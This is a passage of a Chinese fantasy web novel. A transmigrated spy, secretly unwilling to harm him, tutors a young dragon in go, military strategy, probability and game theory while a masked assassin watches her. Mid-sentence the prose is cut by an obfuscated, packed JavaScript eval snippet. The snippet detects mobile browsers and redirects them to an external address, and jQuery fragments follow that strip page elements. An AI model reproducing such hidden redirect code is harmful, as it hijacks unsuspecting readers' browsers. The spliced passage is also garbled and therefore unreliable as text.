“行。”她说,“那师父就靠你保护了。” 苍爵郑重点头,然后低下头继续收棋子,耳朵尖更红了。 秦珊看着他,心里那团郁结的气散了不少。毁灭的传承又怎样,她不想杀人,那就不杀。反正她有别的路可以走。 她拍了拍怀里的小神龛:“老前辈,对不住啊,你可能真的选错人了。” 小神龛没有反应,像是睡着了。 第二天清晨,秦珊是被一阵敲窗户的声音吵醒的。 她睁开眼,看见一只金色的千纸鹤正用翅膀拍打着窗棂,姿态优雅又执着。秦珊叹了口气,翻身下床,推开窗户。 千纸鹤轻盈地飞进来,落在她的枕头上,变成一张信纸。 师父的问候准时到达。 秦珊展开信纸,上面只有四个字:【进展如何】 她拿起笔,在信纸背面写下:【苍爵已拜师,正在培养信任。下周开始逐步引导其走火入魔。】 写完最后一个字,她停顿了一下。 走火入魔。 原主就是这么干的。用错误的修炼方法,让学生根基受损,心智崩溃。那些年纪尚小的幼年魔族,有的因此产生了严重的心理问题,长大后开始报复魔族社会。 秦珊看着自己写的字,忽然觉得有些恶心。 她把信纸折好,交给千纸鹤。千纸鹤乖巧地把自己折起来,拍拍翅膀飞走了。 秦珊站在窗边,看着千纸鹤消失在天际,久久没有动。 她撒了谎。 她没有打算让苍爵走火入魔,从来没有。那个孩子那么信任她,那么努力地学习,眼睛亮晶晶地看着她叫师父。她怎么可能害他? 但是师父那边,她必须交差。 五年。她还有五年时间,找到解毒的办法,或者找到破解禁制的办法。在这之前,她得把这场戏演下去。 秦珊洗了把脸,换了一身干净的衣服,出门去找苍爵。 今天的课程安排是《兵法》研读。她昨晚熬夜把孙子兵法三十六计默写了出来,虽然有些地方记得不全,但大致的框架和核心思想都在。 苍爵已经等在老地方,那个偏僻的角落。他今天化成人形,穿着一身黑色的袍子,坐在树下看书。 秦珊走近了才发现,他看的不是书,是她昨天布置的“作业”。 那是一沓厚厚的纸,是苍爵根据她这段时间教的内容自己整理出来的笔记。秦珊凑过去看了一眼,发现他的字迹工整清秀,内容条理清晰,甚至还画了一些示意图。 “师父。”苍爵察觉到她靠近,抬头打招呼。 秦珊在他身边坐下:“看得这么认真?” “嗯。”苍爵把笔记递给她,“师父,我写到这里的时候,有个地方想不明白。” 秦珊接过笔记,顺着他的手指看过去。那是她之前讲过的“知己知彼,百战不殆”,苍爵在旁边标注了一行小字:【如何知彼?】 “这个问题问得好。”秦珊说,“你觉得呢?” 苍爵想了想:“我以前觉得,知彼就是打听对方的实力,知道对方有多能打。但是师父教的这些,好像不只是这样。” “那还有什么?” “还有……”苍爵斟酌着用词,“还有对方在想什么,对方会怎么想我在想什么,对方会怎么应对我的应对。” 秦珊眼睛亮了:“很好,你已经摸到博弈论的门槛了。” 苍爵眨了眨眼:“博弈论?” “就是研究怎么在互动中做决策的学问。”秦珊从怀里掏出她昨晚熬夜写的《兵法》手稿,“来,今天我们就从这个开始。” 她把三十六计一条条讲给苍爵听,每讲一条,就举一个例子。瞒天过海、围魏救赵、借刀杀人、以逸待劳……她用前世看过的历史故事、战争电影、甚至是商业案例来讲解,把那些古老的计谋掰开了揉碎了喂给苍爵。 苍爵听得入神,眼睛里像是点燃了两簇小火苗。 讲完第十六计“欲擒故纵”,秦珊停下来喝水。苍爵趁机提问:“师父,这些计谋,用在棋盘上也行吗?” “当然行。”秦珊说,“棋盘就是战场,每一步都是博弈。” 苍爵低头看着棋盘,沉默了一会儿,忽然说:“师父,我想试试。” 秦珊放下水壶:“试什么?” “用计谋跟你下一盘。”苍爵抬起头,眼睛里带着一点兴奋,“我想看看,我能不能赢你。” 秦珊笑了:“行啊,来吧。” 他们摆开棋盘,开始对弈。 这一局,苍爵下得格外认真。他不再像以前那样专注于局部的厮杀,而是开始布局,开始设陷阱,开始揣摩秦珊的心思。 秦珊很快就发现了他的变化。这个孩子,真的在尝试用今天学到的东西。 她不动声色,继续按照自己的节奏下。但她没有放水,她想看看,苍爵能做到什么程度。 棋至中盘,苍爵忽然落下一子。 秦珊看着那个位置,愣了一下。 那是一个很微妙的位置,看起来无关紧要,但如果她应对不当,后续会陷入被动。更重要的是,那个位置的选择,显示出苍爵已经看到了三步之后的局面。 “不错。”秦珊夸了一句,然后落子应对。 苍爵嘴角微微上扬,继续落子。 又下了十几手,秦珊忽然发现自己陷入了一个两难的境地。无论她怎么选,都会损失一部分地盘。她可以选择损失小的那一边,但那样的话,她就会落入苍爵的节奏,被他牵着鼻子走。 她抬头看了苍爵一眼。少年正盯着棋盘,眉头微皱,似乎在推演后续的变化。 秦珊笑了,落下一子。 苍爵看到她的选择,眼睛微微睁大,然后皱起眉头想了很久。最后他叹了口气,投子认负。 “师父厉害。”他说,语气里没有沮丧,只有佩服。 秦珊摇头:“不是我厉害,是你还不够熟练。刚才那个局面,如果你在第七十三手的时候换一个落点,我不会这么容易脱身。” 苍爵愣了一下,然后低头去看棋盘,按照秦珊说的位置推演起来。过了片刻,他抬起头,眼睛亮得惊人:“真的!如果我在那里落子,师父这边就会被封死!” 秦珊点头:“所以你输不是因为计谋不好,是因为你对局面的推演还不够深。再多练练,很快就能超过我。” 苍爵用力点头,然后把那盘棋的每一步都记了下来,说是要回去复盘。 秦珊看着他认真记谱的样子,心里忽然生出一个念头。 这个孩子,是真的热爱这个。他找到了属于自己的路,并且愿意为之付出全部的努力。而她,是那个引路的人。 她忽然觉得自己很幸运。 穿到这个破地方,被迫当奸细,随时可能死,但她遇到了苍爵。遇到了一个愿意信任她、跟随她、保护她的徒弟。 这就够了。 下午的课程是“社会实践课”,内容是魔族战斗行为分析。 秦珊带着苍爵去了演武场,让他躲在暗处观察其他魔族的战斗。她给他布置的任务是:观察十个不同的战斗,记录下每个魔族的战斗习惯、弱点、以及可以利用的地方。 苍爵一开始有些不解:“师父,我不喜欢打架,为什么要看别人打架?” 秦珊说:“因为你以后要面对的不是棋子,是活生生的魔族。他们有自己的想法,自己的习惯,自己的弱点。你只有了解他们,才能在真正的战场上做出正确的判断。” 苍爵若有所思地点点头,然后开始认真观察。 秦珊找了个角落坐下,看似在休息,实际上也在观察。 她观察的是整个演武场的生态。 这里的人,不,这里的魔族,确实和她前世见过的任何人类都不同。他们战斗不是为了胜负,甚至不是为了变强,而是为了享受战斗本身。 秦珊看见一个狼形的魔族被打趴下十几次,每次爬起来都嗷嗷叫着往前冲,脸上带着狂热的笑容。他的对手是个熊形的大家伙,一掌拍下来能在地上砸出一个坑,但那个狼族完全不惧,一次次扑上去,又一次次被拍飞。 这要是放在人类世界,早就投降了。但这里,没有人投降,没有人认输,甚至没有人觉得这有什么不对。 战斗就是他们的语言,他们的娱乐,他们的生命。 秦珊忽然有些理解魔尊了。 一个人守着这样的种族几千年,身后的魔君们还盼着他早点死。换谁谁不心累? 她正想着,忽然感觉到一阵奇怪的波动。 那是一种很微弱的感觉,像是有什么东西从她身边掠过,又像是有人在远处看了她一眼。她下意识地抬头,看向演武场的另一边。 那边站着一个女人。 准确地说,是一个化成人形的女性魔族。她穿着一身暗红色的长袍,长发披散,脸上带着一张银色的面具,只露出一双幽深的眼睛。 那双眼睛,正看着秦珊。 秦珊心里一紧。她不认识这个女人,也从来没见过她。但那种被注视的感觉,让她浑身不自在。 女人看了她几秒,然后转身离开,消失在人群中。 秦珊松了口气,却发现自己的手心已经出了汗。 “师父?”苍爵的声音从旁边传来,“你怎么了?” 秦珊摇摇头:“没事,看到一个奇怪的魔族。” 苍爵顺着她看的方向望过去,什么都没看见。他说:“演武场人很多,经常会有外来者。师父不用在意。” 秦珊点点头,但心里总觉得有些不安。 晚上回到家,秦珊点亮了冷光灯,坐在桌前开始研究她的“眼见为识”天赋。 她发现这个天赋比她想得更有意思。 之前她只能看到物品的基本信息,但随着她对魔功的理解加深,她能看到的东西越来越多。比如现在,她看一张纸,不仅能看见“纸”这个字,还能看见它的材质、制作方法、甚至隐约能看到它是由什么植物制成的。 她试了试看自己。 【秦珊,人族,修仙者(已散功),魔族(归墟传承者),体内禁制(清泉道人设,毒性潜伏,五年后爆发)】 秦珊盯着“归墟传承者”这几个字看了很久。 原来在“眼见为识”的判定里,她已经是魔族了。 她不知道该高兴还是该难过。 高兴的是,她终于和修真界彻底撇清关系了。难过的是,她真的成了魔族,一个要靠杀戮变强的魔族。 她叹了口气,继续研究。 忽然,她的目光落在角落里的一个玻璃罐子上。 那是她之前炼制的冷光灯,里面装着她从萤火虫身上提取的发光物质。但此刻,她看到的不是“冷光灯”这三个字,而是一行全新的描述: 【未命名的光系生命体雏形,诞生于意外,具有微弱灵智,对创造者产生依恋】 秦珊愣住了。 她站起来,走到那个玻璃罐子前面,凑近了仔细看。 罐子里那团光,正静静地悬浮着。它不像之前那样随意游走,而是定在原处,像是在看着她。 秦珊伸出手,隔着玻璃轻轻触碰它。那团光微微颤动了一下,然后凑过来,贴在她手指的位置。 “你……有灵智?”秦珊轻声问。 光团闪了闪,像是在回应。 秦珊倒吸一口凉气。 她本来以为这只是个会发光的死物,没想到,它居然活了? 不对,不是活了。是诞生了。 她创造了一个新的生命。 秦珊盯着那团光,脑子里乱成一团。她只是按照科学的方法提取了发光物质,用玻璃封装起来,然后它就活了?这不符合科学啊。 但转念一想,这里是魔界,有仙法,有魔力,有乱七八糟的天赋传承。她的“眼见为识”能看到信息,苍爵的天赋能当互联网用,一个光团有了灵智,好像也没什么不能接受的。 她看着光团,光团也看着她。 “我给你取个名字吧。”秦珊说,“叫……小光?” 光团闪了闪,似乎很喜欢。 秦珊笑了。她捧着玻璃罐子坐回桌前,把小光放在旁边,继续研究自己的天赋。小光安静地待着,时不时闪一下,像是在陪伴她。 秦珊看着它,心里忽然冒出一个念头。 湮灭传承要她杀戮,要她毁灭。但她刚才,创造了一个生命。 虽然是无意的,虽然这个小家伙可能不算真正的生灵,但它确实有了灵智,确实会回应她,确实因为她的存在而存在。 这是创造,不是毁灭。 秦珊低头看着自己的手。这双手,能毁灭,也能创造。 那她为什么一定要选择其中一个呢? 她想起苍爵说的话:“师父不想杀戮,那就不杀。” 对啊,不想杀就不杀。她可以走自己的路,用自己擅长的方式活下去。传承是死的,人是活的。老前辈选了她,是认可她,不是要她变成另一个人。 秦珊心里的郁结终于散了。 她拍了拍怀里的小神龛:“老前辈,谢了啊。你的功法我收下了,但我怎么用,我自己说了算。” 小神龛依然没有反应,但秦珊总觉得它好像没那么冰凉了。 第二天,秦珊去找苍爵上课的时候,发现他眼睛下面挂着两个明显的黑眼圈。 “昨晚没睡?”秦珊问。 苍爵摇头:“睡了,但是没睡好。” “为什么?” 苍爵犹豫了一下,从怀里掏出一沓纸递给她。 秦珊接过来一看,是昨天那盘棋的复盘。苍爵把每一步都写了下来,在旁边标注了自己的思考和疑问。最后一页,他画了一个全新的棋局,是他自己设计的残局。 “我想了一晚上。”苍爵说,“师父昨天说的那个位置,我一直在想,如果我在那里落子,后续会怎么样。然后想着想着,就想出了这个。” 秦珊看着那个残局,沉默了很久。 这个孩子,不只是聪明,他是真的热爱。热爱到可以为一盘棋熬夜,热爱到可以自己给自己出题。 她忽然想起前世那些顶级棋手,哪一个不是这样痴迷? “苍爵。”她说。 “嗯?” “你以后,会成为很厉害的人。” 苍爵愣了一下,然后低下头,耳朵又红了。 秦珊笑着揉了揉他的脑袋,然后开始今天的课程。 今天的课程是“概率学、逻辑学、统计学基础”。这是秦珊精心准备的数学课,她知道这些知识对于培养一个谋略型人才有多重要。 但问题是,怎么教? 魔界没有数字,没有加减乘除,没有概率统计的概念。她得从零开始,把这些东西掰开了揉碎了喂给苍爵。 她拿出一块木板,用炭笔在上面画了一个个圈圈,代表数字。 “这是1,这是2,这是3……” 苍爵认真地跟着学,很快就掌握了数字的概念。他毕竟是龙族,智商不低,学这些基础的东西很快。 接下来是加减法。秦珊用石头做教具,左边放三块,右边放两块,让苍爵数一共有多少块。苍爵很快就学会了。 然后是乘除法,然后是概率的概念。 秦珊用骰子做例子,让苍爵掷一百次,记录每个数字出现的次数。苍爵掷完,看着记录的结果,若有所思。 “师父,6出现得比其他数字多。” 秦珊看了一眼,确实,6出现了十九次,比其他数字多了三四次。她笑着说:“这就是概率。理论上每个数字出现的次数应该差不多,但实际上会有波动。掷的次数越多,波动越小。” 苍爵点点头,然后继续掷。 他掷了三百次,五百次,一千次。最后的结果,六个数字出现的次数非常接近。 苍爵看着那堆记录,沉默了很久。然后他抬头问秦珊:“师父,这个……能用在战场上吗?” 秦珊笑了:“当然能。你能用概率推算敌人最可能采取的行动,能估算自己获胜的几率,能判断哪个选择风险最小收益最大。” 苍爵的眼睛又亮了。 秦珊看着他,心里忽然生出一个念头。 这个孩子,如果生在她前世,一定会是个了不起的数学家或者战略家。可惜他生在了魔界,一个只认拳头不认脑子的地方。 不过没关系。她来了,她会把他教出来。 下午的课程是“魔族战斗行为分析”的延续。秦珊让苍爵拿出昨天的观察记录,一条条分析。 苍爵记录了十个魔族的战斗习惯。其中有一个狼族,特别有意思。 “这个狼族,每次攻击前都会先退后一步。”苍爵指着记录说,“不管是主动进攻还是反击,他都会先退后。” 秦珊问:“你觉得这是为什么?” 苍爵想了想:“可能是习惯,也可能是战术。” “如果是习惯呢?” “那就可以利用。”苍爵说,“跟他打的时候,在他退后的那一瞬间发起攻击,他会有破绽。” “如果是战术呢?” 苍爵皱起眉头想了很久,然后说:“如果是战术,那他退后的目的可能是引诱对方进攻,然后反击。那就不能在他退后的时候进攻,反而要防着他的反击。” 秦珊满意地点头:“很好。你已经学会了从现象推测本质。这是谋略的第一步。” 苍爵被她夸得有些不好意思,低头继续看记录。 秦珊说:“你今天的作业,是根据这些观察记录,设计一个针对每个魔族的战斗策略。不用真的去打,只是纸上推演。” 苍爵点头:“好。” 秦珊又说:“还有,从明天开始,你每天要写一份‘对手分析’。对象可以是演武场的任何魔族,也可以是我,也可以是你的父亲兄弟。分析他们的习惯、弱点、可能的策略。” 苍爵愣了一下:“分析父亲?” “怎么,不敢?” 苍爵摇头:“不是不敢,是……我不知道怎么分析。” 秦珊说:“那就从观察开始。你每天回家,多看看他,多想想他为什么会做某些事。慢慢就会了。” 苍爵沉默了一会儿,然后点头:“好,我试试。” 晚上,秦珊回到家,继续她的炼器研究。 她现在的目标是:炼制一个能定位的地图。 这个想法来自于她上次在传功殿迷路的经历。如果当时有地图,她就不会走到那个鬼地方去。虽然最后得到了传承,但过程太吓人了,她不想再经历一次。 问题是,她不会炼制法宝。 她虽然有“眼见为识”的天赋,能看到物品的信息,能看到制作方法,但那只是理论。真正的炼制,需要动手实践,需要不断的试错。 好在,她最不缺的就是试错的耐心。 她拿出之前炼制的那些玻璃,研究它们的属性。然后又拿出苍爵给她的地图,研究上面的地形。 她试着把地图刻在一块玻璃上,然后用魔力注入。玻璃碎了。 她试着用不同的材质,不同的方法,不同的符文。一次又一次失败,一次又一次重来。 小光在旁边看着,时不时闪一下,像是在给她加油。 秦珊忙到半夜,终于有了一点进展。 她在一块圆形的玻璃上刻下了沧澜境的地图,然后用特殊的颜料填充刻痕。当她注入魔力的时候,玻璃上的地图亮了起来,闪烁着微弱的光。 成功了? 秦珊激动地拿起来细看。然后她发现,这只是一张会发光的地图而已,根本不能定位。 她叹了口气,把地图放下。 算了,哪有那么容易。慢慢来吧。 她正准备收工睡觉,忽然感觉到一阵奇怪的波动。 又是那种被注视的感觉。 秦珊猛地抬头,看向窗外。 窗外一片漆黑,什么都没有。但她知道,有人在看她。 她站起来,走到窗边,推开窗户。冷风灌进来,带着一股陌生的气息。 小光忽然剧烈地闪烁起来,像是在警告。 秦珊握紧了拳头,压低声音问:“谁?” 没有人回答。 但那种被注视的感觉,更强烈了。 秦珊盯着黑暗,忽然看见远处有一双眼睛。 幽深的,冰冷的,戴着一张银色面具的眼睛。 是白天那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17365199|199801||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个女人。 秦珊心里一紧,还没来得及说话,那双眼睛就消失了,像是从来没有出现过。 她站在窗边,冷风吹着她的脸,久久没有动。 第二天,秦珊去找苍爵的时候,发现他也在发呆。 “怎么了?”秦珊问。 苍爵回过神,摇摇头:“没什么,昨晚没睡好。” “又没睡好?” 苍爵犹豫了一下,说:“师父,昨天晚上,我感觉有人在看我。” 秦珊心里一跳:“在哪儿?” “在家。”苍爵说,“我在房间里写作业,忽然觉得窗外有什么东西。我出去看,什么都没看到。” 秦珊沉默了。 那个女人,也去看苍爵了? 她想干什么? “师父?”苍爵见她脸色不对,“你知道是谁?” 秦珊摇摇头:“不知道,但我昨天也感觉到了。一个女人,戴着银色面具。” 苍爵的表情变得凝重起来:“银色面具?” “你认识?” 苍爵沉默了一会儿,说:“魔族有个组织,叫‘暗影’。他们的成员都戴着银色面具。他们是……杀手。” 秦珊心里一凉。 杀手? 为什么会有杀手盯上她? 她只是个普通的小奸细,没得罪什么人啊。 苍爵继续说:“暗影很少出现,一旦出现,就是接了任务。师父,你得罪谁了?” 秦珊苦笑:“我也不知道。” 她确实不知道。原主做了什么事,她不清楚。她穿过来之后,一直很低调,除了收苍爵当徒弟,什么都没干。 等等。 收苍爵当徒弟? 她看向苍爵:“会不会是你父亲派来的人?” 苍爵愣了一下,然后摇头:“不会。父亲如果要派人监视我,不会用暗影。他直接派自己人就行了。” 秦珊想想也对。苍澜君是九大魔君之一,手下多得是,没必要雇杀手来监视自己的儿子。 那会是谁? 修真界的人? 不可能。修真界的奸细在魔界都是偷偷摸摸的,不可能这么明目张胆地出现。 魔界的某个势力? 她一个刚穿来一个月的小透明,能得罪什么势力? 秦珊想不通,只好暂时放下。 “不管是谁,小心点。”她对苍爵说,“以后晚上别单独待着,有什么事立刻来找我。” 苍爵点头:“师父也是。” 接下来的几天,秦珊一直保持着警惕。 但那个女人没有再出现。 仿佛那天晚上只是她的错觉。 秦珊渐渐放松下来,继续她的教学和炼器。 苍爵的学习进度很快。数学课已经学到了简单的统计学,兵法课已经能熟练运用三十六计,心理学课也开始入门。他每天写作业写到深夜,第二天早上依然精神抖擞地来上课。 秦珊有时候都怀疑他是不是不用睡觉。 她的炼器也有了进展。虽然定位地图还没做出来,但她成功炼制出了第一个真正意义上的法宝:一个能记录声音的石头。 原理很简单,就是在石头上刻录一个留音符阵,然后用魔力激活。但秦珊改良了符阵,让它可以反复使用,而不是一次性的。 她把这块石头送给苍爵,让他用来记录课堂内容,方便复习。 苍爵捧着那块石头,眼睛瞪得老大:“师父,这是法宝?” “算是吧。”秦珊说,“不过功能很简单,只能录音。” 苍爵试了一下,听见自己的声音从石头里传出来,惊得差点把石头扔了。他小心翼翼地把石头收好,然后郑重其事地给秦珊行了一个礼:“谢谢师父。” 秦珊笑着摆手:“行了行了,别这么正式。” 苍爵站起来,忽然说:“师父,我想带你去见一个人。” 秦珊一愣:“谁?” “我父亲。”苍爵说,“他想见你。” 秦珊心里咯噔一下。 苍澜君要见她? 为什么? 她想了想,问:“他为什么想见我?” 苍爵摇头:“他没说。只是让我转告你,如果你愿意,明天可以去苍澜殿找他。” 秦珊沉默了。 这是福是祸,她不知道。 但她知道,如果她拒绝,反而显得心虚。而且苍澜君是九大魔君之一,他想见她,她躲也躲不掉。 “好。”她说,“我去。” 第二天,苍爵带她去了苍澜殿。 那是坐落在云端之上的一座巨大宫殿,通体黑色,用不知名的石材建造。宫殿周围环绕着层层云雾,时不时有闪电在云层中游走。 秦珊站在殿前,感受到一股强大的威压。那是龙族的气息,混着无数年的岁月沉淀,让人不由自主地想要低头。 她深吸一口气,挺直脊背,跟着苍爵走进去。 殿内比外面看起来更大。高耸的穹顶,巨大的石柱,每根柱子上都雕刻着盘旋的巨龙。殿中央有一座高台,台上坐着一个男人。 他看起来四十岁左右,穿着一身黑袍,头发乌黑,眉眼间和苍爵有几分相似。但他身上有一种苍爵没有的东西:那是久居上位者的威严,是无数的战斗和岁月沉淀下来的气势。 苍澜君。 秦珊走到台下,按照魔族的礼节行礼:“见过苍澜君。” 苍澜君看着她,没有说话。 殿内安静得可怕。秦珊能听见自己的心跳声。 过了很久,苍澜君终于开口:“你就是苍爵的师父?” “是。” “你教他什么?” 秦珊想了想,说:“围棋,兵法,数学,心理学,战斗行为分析。” 苍澜君微微挑眉:“这些是什么?” 秦珊说:“是能让他在不打架的情况下变强的东西。” 苍澜君沉默了一会儿,然后说:“苍爵变强了。” 秦珊愣了一下。 苍澜君继续说:“一个月前,他还只会躲着人。现在,他开始主动观察,开始思考,开始分析。昨天,他跟我下了一盘棋。” 秦珊心里一跳。 苍澜君看着她:“他说那是你教他的。围棋。” 秦珊点头:“是。” 苍澜君说:“我输了。” 秦珊愣住了。 苍澜君输了?跟苍爵下棋输了? 苍爵才学了一个月啊。 苍澜君看着她的表情,嘴角微微上扬:“怎么,很意外?” 秦珊回过神来,斟酌着说:“苍爵确实很有天赋。” “天赋?”苍澜君冷笑一声,“他有什么天赋?他的天赋是那个可笑的闺中密语,只能让人聊天,有什么用?” 秦珊沉默了。 她不能说出苍爵天赋的真正价值。那是她最大的秘密之一。 苍澜君继续说:“但是,他现在会动脑子了。虽然打架还是不行,但至少,他不只会躲了。” 他看着秦珊,眼神里带着审视:“你教得好。” 秦珊不知道该说什么,只好说:“谢谢苍澜君夸奖。” 苍澜君站起来,从高台上走下来。他走到秦珊面前,居高临下地看着她:“你知道,我之前给他找过多少师父吗?” 秦珊摇头。 “十七个。”苍澜君说,“十七个,没有一个能让他开窍。你是第十八个。” 秦珊心里算了算,十八个,确实挺多的。 苍澜君说:“所以,我要谢你。” 他从怀里掏出一个东西,递给秦珊。 那是一块黑色的令牌,巴掌大小,上面刻着一个“苍”字。 “这是我的令牌。”苍澜君说,“拿着它,在沧澜境内,没人敢动你。” 秦珊接过令牌,心里一阵复杂。 这是谢礼,也是警告。 苍澜君在告诉她:你是我认可的人,但也是我盯着的人。 她收下令牌,再次行礼:“多谢苍澜君。” 苍澜君摆摆手:“去吧。好好教他。” 秦珊转身离开。 走出大殿的那一刻,她长长地呼出一口气。 腿有点软。 回到自己的小屋,秦珊把令牌收好,然后瘫坐在椅子上。 小光凑过来,贴在她手边,轻轻闪了闪。 秦珊摸了摸玻璃罐子:“没事,就是见了个大人物,有点紧张。” 小光又闪了闪,像是在安慰她。 秦珊看着它,忽然想起一件事。 苍澜君说,苍爵的天赋是“闺中密语”,是个可笑的只能让人聊天的能力。 但他不知道,这个能力有多可怕。 如果苍爵成长起来,用她的方法培养起来,他能链接整个魔界,能建立信息网络,能实现即时通讯。 到那时候,魔界就不再是一盘散沙。 到那时候,修真界就真的危险了。 秦珊靠在椅背上,看着天花板,心里忽然生出一个念头。 她不只是救自己。 她是在改变这个世界。 虽然这个改变,还很小,还只是刚刚开始。 但种子已经种下了。 她低头看着小光,轻声说:“小光,你说,我能活到看见那一天吗?” 小光闪了闪。 秦珊笑了:“我也觉得能。” 第二天,苍爵来上课的时候,秦珊把那块令牌给他看了。 苍爵愣了一下,然后笑了:“父亲给你这个?师父真厉害。” 秦珊说:“厉害什么,吓得我腿都软了。” 苍爵笑得更开心了。他很少笑,笑起来的时候眼睛弯弯的,很好看。 秦珊看着他的笑容,忽然觉得,见苍澜君那一趟,值了。 “行了,别笑了。”她板起脸,“今天的课程是《基础心理学》的进阶版,博弈心理学。认真听。” 苍爵立刻收敛笑容,正襟危坐。 秦珊开始讲课,讲的是“囚徒困境”。 她用两个盗贼的故事做引子,讲双方如何在不知道对方选择的情况下做出决策。苍爵听得入神,时不时提问,时不时自己推演。 讲完囚徒困境,秦珊又讲了“胆小鬼博弈”“猎鹿博弈”“零和博弈”等等。她用前世看过的电影情节、历史故事、甚至是商业案例来解释,把那些抽象的概念变得生动具体。 苍爵听完,沉默了很久。 然后他问:“师父,这些……都是真实存在的吗?” 秦珊说:“当然。人心就是这样,利益就是这样。你懂了这些,就能看懂很多人做的很多事。” 苍爵若有所思地点点头。 秦珊看着他,忽然问:“苍爵,你想过以后吗?” 苍爵愣了一下:“以后?” “对。”秦珊说,“等你学成之后,你想干什么?” 苍爵沉默了。 过了很久,他说:“我不知道。” 秦珊没有追问。 她只是说:“没关系,慢慢想。时间还长。” 苍爵点点头,然后低下头继续看笔记。 但秦珊看见,他的耳朵又红了。 这个孩子,还是这么容易害羞。 日子一天天过去。 秦珊的教学越来越顺利,炼器也越来越有心得。她成功炼制出了能定位的地图,虽然范围只有沧澜境,但已经足够她用。 她还炼制出了能保温的杯子,能制冷的盒子,能自动翻页的书。每一样东西都不算强大,但每一样东西都让她离自己的“理想家园”更近一步。 苍爵的进步更是惊人。他已经能熟练运用三十六计,能设计复杂的残局,能用概率推算战场局势。他的“成功日记”越写越长,脸上的笑容也越来越多。 那个女人没有再出现。 秦珊渐渐放松了警惕。 直到有一天晚上,她回到家,发现桌上放着一张纸条。 纸条上只有两个字: 【小心】 秦珊愣住了。 她四处查看,没有任何入侵的痕迹。窗户关着,门锁着,小光好好地待在玻璃罐子里。 是谁留下的纸条? 为什么要让她小心? 小心什么? 秦珊握着那张纸条,心里涌起一股不安。 她有一种预感,平静的日子,快要结束了。 4. 第4章神龛 秦珊盯着那张纸条看了很久。 只有两个字,笔迹陌生,没有任何落款。她把纸条翻来覆去看了几遍,没找到任何线索。小光凑在玻璃罐子边上,一闪一闪的,像是在问她怎么了。 “没事。”秦珊把纸条折起来塞进怀里,“就是有人给我送了张纸条。” 小光闪了闪,似乎不太相信。 秦珊把它放到桌上,自己坐到床边开始想事情。 这个纸条是谁留的?为什么要让她小心?小心什么? 她第一个想到的是那个银色面具的女人。但那女人如果要提醒她,为什么不直接说清楚?而且那女人看起来不像是会干这种事的人。 会不会是苍澜君派的人?也不可能,苍澜君如果要提醒她,直接让苍爵转达就行了。 秦珊想了一晚上没想明白,第二天顶着两个黑眼圈去上课。 苍爵看到她,愣了一下:“师父,你昨晚又没睡?” 秦珊摆摆手:“睡了一会儿。给你看个东西。” 她把那张纸条递给苍爵。 苍爵接过去看了,皱起眉头:“小心?谁留的?” “不知道。”秦珊说,“昨晚回家就发现放在桌上。门窗都是关着的,不知道他怎么进来的。” 苍爵的表情变得严肃起来。他把纸条还给她:“师父,这事得查清楚。” “怎么查?” 苍爵想了想:“我让我父亲帮忙查一下?暗影的事,他知道的比我多。” 秦珊摇头:“先别惊动你父亲。万一是误会呢?再说了,你父亲给我令牌已经是很大的面子了,不能什么事都麻烦他。” 苍爵点点头,但还是有些不放心:“那师父这段时间小心点,晚上我送你回去。” 秦珊笑了:“你送我?你自己回去的时候不也得一个人?” 苍爵认真地说:“我皮厚,不怕。” 秦珊被他逗笑了,心情好了不少。她拍拍苍爵的肩膀:“行了,先上课。那纸条的事我慢慢查。” 今天的课程是“谈判技巧和公共演讲教学”。 秦珊本来觉得这些内容对苍爵来说可能有点早,但仔细一想,这孩子以后要统领一方,不会说话怎么行?魔族虽然崇尚武力,但能说会道的往往能团结更多力量。 她先教他基础的谈判技巧:怎么开场,怎么倾听,怎么抓对方的痛点,怎么在关键时刻让步。苍爵听得认真,时不时在小本子上记几笔。 然后是公共演讲。秦珊让他站在一块石头上,对着空气演讲,主题是“为什么魔族应该学习谋略”。 苍爵站上去,脸憋得通红,半天没憋出一个字。 秦珊在旁边看着,差点笑出声:“你就当我是你的听众,跟我说就行。” 苍爵深吸一口气,开始讲:“师父……不是,各位魔族同胞……” 他讲得很慢,断断续续的,但内容还算有条理。他讲了谋略的好处,讲了只会打架的坏处,还举了几个例子。虽然紧张得声音发抖,但好歹讲完了。 秦珊给他鼓掌:“不错不错,第一次能讲成这样已经很好了。就是有点太紧张,放轻松,多练练就好。” 苍爵从石头上跳下来,脸还是红的:“师父,我能不能不学这个?” 秦珊摇头:“不能。你以后要带领别人,不会说话怎么行?你以为那些魔君们都是靠打架坐上位置的?他们背后都有多少张嘴在帮他们说。” 苍爵若有所思地点点头。 下午的课程是“社会实践课”,内容还是战斗行为分析。但这次秦珊给他布置了一个新任务:不光观察,还要试着预测。 苍爵躲在暗处,看着演武场上的战斗。每场开始前,他会根据双方的外形、气势、习惯,预测谁会赢,大概多少招能赢。然后看实际结果,跟自己预测的对比。 一开始他猜得不太准,猜了十场只对了两场。但越到后面,准确率越高。到傍晚的时候,他已经能连续猜对五场了。 秦珊看着他的记录,心里暗暗吃惊。这孩子不只是学习快,他是真的有天分。这种天分不是打架的天分,是分析、推理、判断的天分。 晚上回家的时候,苍爵坚持要送她。 秦珊拗不过他,只好让他送。两人走在路上,魔界的夜晚很安静,偶尔有夜行的魔族从身边掠过,但都只是匆匆一瞥。 走到秦珊家门口,苍爵停下脚步:“师父,我进去了?” 秦珊点头:“进去吧,早点回去休息。” 苍爵没动。 秦珊看着他:“怎么了?” 苍爵犹豫了一下,说:“师父,那张纸条的事,我想了想。能在你不知情的情况下进你屋子的,只有两种人。” 秦珊挑眉:“哪两种?” “一种是修为远高于你的。”苍爵说,“另一种,是有特殊天赋的。” 秦珊沉默了一会儿。这两种,她都不太想遇到。 苍爵继续说:“不管哪种,师父都要小心。我明天早点过来。” 秦珊点头:“好。你回去的路上也小心。” 苍爵嗯了一声,转身走了。秦珊看着他消失在夜色里,才推门进屋。 屋里一切如常。她点亮冷光灯,小光凑过来贴在她手边。她检查了一遍门窗,确认都锁好了,才坐下开始想事情。 